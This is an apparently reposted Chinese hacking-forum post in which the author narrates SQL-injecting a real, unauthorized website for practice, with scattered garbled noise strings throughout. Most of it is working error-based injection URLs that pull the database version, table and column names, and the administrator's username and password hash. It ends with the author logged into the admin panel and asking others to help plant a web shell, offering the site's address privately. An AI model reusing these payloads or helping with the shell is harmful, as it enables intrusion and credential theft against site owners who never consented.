近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。* A2 @1 G0 [2 h+ I
首先找到网站后台,加了个admin,后台出来了
+ i. ]2 i5 M1 J/ f( \/ F0 p
/ Y# {0 B J- h9 d$ g7 K+ {$ \. |# T$ |: l1 \9 S- M
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入' N: l* h2 r8 ~* x! N
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))— f$ [- K& U2 e+ ]' y5 V
& a; J: }* X, X7 h3 S% x* M
, ^) G; G6 N p. {, [9 e& ~3 m9 d3 S7 V7 O3 B: p
0 j4 _* h' a2 D0 ^9 F8 C- E
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg5 C }1 A H& ]1 L: q
, Y) {! M/ _0 n& x: v' S' O1 T" K
- _5 ~6 |$ G, ?3 _" @) b
# K1 C# @5 h6 O. E& K$ p6 M3 \! K4 o
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator9 f2 D7 n. A, [+ ]) ~
) D) g0 k$ Q. C3 E! E/ n( S) z- N
1 {& D3 k8 b4 O7 y( T+ Ehttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg0 L4 _ L: X4 Q% J) W0 ~, d8 D
8 p, |6 t/ y5 Y( S
* T% F% i: N' |% N 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--. d! T9 ^; G- r+ X
0 m# _* o" l6 k- b$ q
5 M. D% O. `3 T8 S( C
/ P# k* s% C6 ?9 f 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
' B# C9 d& l4 C0 d5 g
5 k% e$ @* A/ Z; G
; _7 Y6 |8 t U: P# c) b& e5 H$ k
& Q6 g# I# @0 x1 | 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |